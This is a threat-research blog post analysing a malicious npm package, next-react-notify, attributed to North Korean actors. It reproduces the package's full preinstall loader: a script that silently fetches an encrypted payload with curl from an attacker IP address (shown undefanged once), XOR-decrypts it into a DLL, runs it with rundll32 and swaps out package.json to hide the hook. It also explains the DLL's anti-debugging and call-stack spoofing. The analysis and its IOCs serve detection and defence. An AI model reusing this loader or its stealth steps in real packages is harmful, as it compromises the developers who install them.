Author: @poppysec
The original post can be found here
On 22nd July, the Trusty threat detection team discovered a malicious npm package published an hour prior. Our package detection system analyzes a number of metadata signals to identify anomalies in the open source package ecosystem.
As such, Trusty flagged the package next-react-notify
as suspicious. Further investigation revealed a complex, multi-stage attack chain.
The malicious package is a modified copy of call-bind
, a popular npm package with almost 50 million downloads a week. Several script files have been added to the package, including tocall.js
, which is responsible for the malicious download and decryption functionality.
One of the first indicators of evasive execution was the presence of a preinstall entry in the package.json
file, which functions to execute and delete this script upon installation in the following pattern:
node <script>.js && del <script>.js
Attribution to North Korean APT
Previous reporting by Phylum (Jul 2024, Nov 2023) highlighted techniques and procedures with notable similarities to those observed in the current sample.
A comprehensive reverse engineering analysis of the final binary by QiAnXin Threat Intelligence Center (Dec 2023) concluded that the attack could be attributed to the North Korean state-sponsored Lazarus Group (APT38).
This package remained live on npm for less than 4 hours before being unpublished; a tactic frequently employed by North Korean groups leveraging the OSS supply chain vector.
The attack chain mirrors patterns reported in previous incidents in initial execution strategies, download mechanisms, hosting infrastructure, and post-execution cleanup processes.
Unlike related packages published in late 2023, which were cryptocurrency-themed, this sample did not focus on cryptocurrency. Instead, it appeared to target developers more broadly, remaining aligned with social engineering tactics typically employed by actors supporting North Korean objectives.
Considering the documented history of open source supply chain attacks by North Korean state-aligned groups and the clear commonalities with earlier samples over the past year, we assert with reasonable confidence that this activity constitutes a continuation of the same campaign observed earlier this month. However, due to overlapping TTPs and infrastructure, we will avoid attribution to any particular group.
Trusty Scoring
The package had the lowest possible scoring for repository and author activity. No repository URL had been linked to the package, casting further doubt on its provenance. This differs from previous Lazarus-associated samples, where the linked repository has been a key pivot point for security researchers in mapping out the campaign.
Technical Details
tocall.js
The contents of tocall.js can be seen below, with the remote hosting server IP defanged by us.
const os = require("os");
const fs = require("fs");
const { exec } = require("child_process");
const str1 = `
@echo off
curl -o though.crt -L "http://166.88.61[.]72/explorer/search.asp?token=3092" > nul 2>&1
start /b /wait powershell.exe -ExecutionPolicy Bypass -File yui.ps1 > nul 2>&1
del "yui.ps1" > nul 2>&1
if exist "soss.dat" (
del "soss.dat" > nul 2>&1
)
rename tmpdata.db soss.dat > nul 2>&1
if exist "soss.dat" (
rundll32 soss.dat, SetExpVal tiend
)
if exist "mod.json" (
del "package.json" > nul 2>&1
rename mod.json package.json > nul 2>&1
)
ping 127.0.0.1 -n 2 > nul
if exist "soss.dat" (
del "soss.dat" > nul 2>&1
)`;
const str2 = `
$path1 = Join-Path $PWD "though.crt"
$path2 = Join-Path $PWD "tmpdata.db"
if ([System.IO.File]::Exists($path1))
{
$bytes = [System.IO.File]::ReadAllBytes($path1)
for($i = 0; $i -lt $bytes.count; $i++)
{
$bytes[$i] = $bytes[$i] -bxor 0xc5
}
[System.IO.File]::WriteAllBytes($path2, $bytes)
Remove-Item -Path $path1 -Force
}`;
const osType = os.type();
if (osType === "Windows_NT") {
const fileName = "execu.bat";
const psfileName = "yui.ps1";
fs.writeFile(fileName, str1, (err) => {
if (!err) {
fs.writeFile(psfileName, str2, (err) => {
if (!err) {
const child = exec(`"${fileName}"`, (error, stdout, stderr) => {
if (error) {
return;
}
if (stderr) {
return;
}
fs.unlink(fileName, (err) => {});
});
}
});
}
});
}
The script executed and deleted by the preinstall firstly enumerates the host operating system. If the affected host is a Windows machine, it will then attempt to write the contents of str1
into execu.bat
in the current directory. If successful, the contents of str2
will similarly be written into yui.ps1
. The batch script is then executed using exec()
, and the file is deleted.
Downloader batch script
@echo off
curl -o though.crt -L "http://166.88.61.72/explorer/search.asp?token=3092" > nul 2>&1
start /b /wait powershell.exe -ExecutionPolicy Bypass -File yui.ps1 > nul 2>&1
del "yui.ps1" > nul 2>&1
if exist "soss.dat" (
del "soss.dat" > nul 2>&1
)
rename tmpdata.db soss.dat > nul 2>&1
if exist "soss.dat" (
rundll32 soss.dat, SetExpVal tiend
)
if exist "mod.json" (
del "package.json" > nul 2>&1
rename mod.json package.json > nul 2>&1
)
ping 127.0.0.1 -n 2 > nul
if exist "soss.dat" (
del "soss.dat" > nul 2>&1
)
The batch script saved as execu.bat
takes some precautionary measures to discard errors, hide command prompt output, and delete files. This ensures that execution is concealed from the user.
An encrypted second stage is downloaded via curl
from the remote server hosted at 166.88.61[.]72
and output as though.crt
.
This IP address has previously been resolved to cryptocopedia[.]com
, a domain associated with North Korean APTs in Phylum’s report on the call-blockflow npm package published 4 July 2024.
The next lines of the batch script use PowerShell to execute the script yui.ps1
before deleting it. We will jump into yui.ps1
before discussing the rest of execu.bat
.
Payload decryption
$path1 = Join-Path $PWD "though.crt"
$path2 = Join-Path $PWD "tmpdata.db"
if ([System.IO.File]::Exists($path1))
{
$bytes = [System.IO.File]::ReadAllBytes($path1)
for($i = 0; $i -lt $bytes.count; $i++)
{
$bytes[$i] = $bytes[$i] -bxor 0xc5
}
[System.IO.File]::WriteAllBytes($path2, $bytes)
Remove-Item -Path $path1 -Force
}
The script first defines paths in the current working directory for the downloaded though.crt
, and a file which does not yet exist, tmpdata.db
. It then enters a loop where each byte of though.crt
is bitwise XOR decrypted with the key 0xc5
, and the result is written to the DB file stated. This decrypted file is a 64-bit DLL with a misleading file extension.
The initial CRT file is then deleted, and execution returns to the batch script.
Execution
This resulting DLL is then renamed to soss.dat
. Using the Windows LOLBin rundll32
, the DLL’s sole exported function SetExpVal
is executed with the parameter tiend
.
rename tmpdata.db soss.dat > nul 2>&1
if exist "soss.dat" (
rundll32 soss.dat, SetExpVal tiend
)
Cleanup
As mentioned, during the course of execution the threat actor took several steps to cover their tracks, such as deleting any files dropped on disk, and hiding traces of execution. Significantly, the malicious package.json
is removed and replaced with a benign version, mod.json
, which does not contain the key preinstall script entry.
if exist "mod.json" (
del "package.json" > nul 2>&1
rename mod.json package.json > nul 2>&1
)
ping 127.0.0.1 -n 2 > nul
if exist "soss.dat" (
del "soss.dat" > nul 2>&1
)
Hence after installing the package via npm, the user would remain unaware that any malicious activity had occurred.
Second-stage DLL - soss.dat
Properties
- | - |
---|---|
File Name | soss.dat |
File Type | PE DLL, 64-bit |
Compilation operating system | Windows Vista |
Time date stamp | 2024-07-10 15:45:13 |
Size | 102.50 KB (104960 bytes) |
SHA256 | 43a28fc5a1ee46da0e5698fed473802ab6af5f83233b9287459ec2e0f6250efa |
ssdeep | 384:ga7wez/uXHFCZBem2Wx6MN99Sjvb99SjvWpN:g0bz/QHFCTemFL9Sbh9Sb |
PDB file name | D:\workstation\codingStation\C_Workstation\2024\Simple Dll\x64\Release\Simple Dll.pdb |
Evasion and anti-analysis
We are continuing to analyze the decrypted payload DLL, but initial examination of both the import functions and the most relevant subroutines after disassembly suggests a considerable level of sophistication, with several layers of defense against detection and debugging.
Static analysis of the DLL revealed various anti-analysis and anti-debugging techniques. We also noted the use of stack unwinding, which could be utilized to evade detection via call stack tracing (a feature of some EDRs).
The sample was first submitted to VirusTotal on 2024-07-12. At the time of writing, automated sandboxes detections remain relatively sparse due to these successful anti-analysis efforts.
IsProcessorFeaturePresent
The Windows API function IsProcessorFeaturePresent
is invoked with the argument 0x17
- where 0x17
corresponds to PF_FASTFAIL_AVAILABLE
. This is used to check if the __fastfail
option is available. If not, the process is terminated immediately with RtlFailFast
(int 0x29
).
Excerpt of sub_180001020
QueryPerformanceCounter
In subroutine sub_18000150c
, we observed the use of the Windows API QueryPerformanceCounter
.
While this function can identify long delays caused by a debugger, in this context, it appears to be part of a unique identifier generation process. This identifier potentially forms a mutex name and is derived from system time, thread ID, and process ID through a series of XOR operations and bitwise shifts.
Excerpt of sub_18000150c
Call stack spoofing
Subroutine sub_18000192C
implements a stack walk by capturing the current execution context RtlCaptureContext
, looking up each function entry RtlLookupFunctionEntry
, and then unwinding the stack with RtlVirtualUnwind
. The context record is updated to a new address, and further memory manipulation is carried out.
By doing this the malware can dynamically modify the return address and adjust call stack frames to create the facade of a benign call stack, avoiding inspection by EDRs.
This is an effort to frustrate analysis and hide the true execution flow.
Exception handling
Later in sub_18000192C
, the API IsDebuggerPresent
is used, storing the result in the rbx
register. SetUnhandledExceptionFilter
and UnhandledExceptionFilter
can be used in combination to check for the presence of a debugger by replacing the top-level exception handler. If these checks pass, another subroutine is called.
Further stages
The DLL also contains functionality to decrypt a later-stage payload.
Given our initial analysis as well as the findings from the detailed report by QiAnXin in late 2023, it is likely that this DLL acts as an intermediary stage before the final payload is fetched, possibly via multiple further loading stages.
IOCs
URL
http://166.88.61[.]72/explorer/search.asp?token=3092
SHA256
soss.dat
43a28fc5a1ee46da0e5698fed473802ab6af5f83233b9287459ec2e0f6250efa
though.crt
9d27159f34d4534afaa3f3e8de51c4d9b2e4001235633bac43bd7d3772cb774e
next-react-notify-1.0.0.tgz
337c114002a8b25b1ee47546b637391d413a2bfb7275c439c8758a23fc77e441
tocall.js
B57b75d015526b862ae469b825c7a18a157927e0c9415050f1abe9df67523520
The contents of the next-react-notify
package can be reviewed in full on Stacklok’s jail repository on GitHub.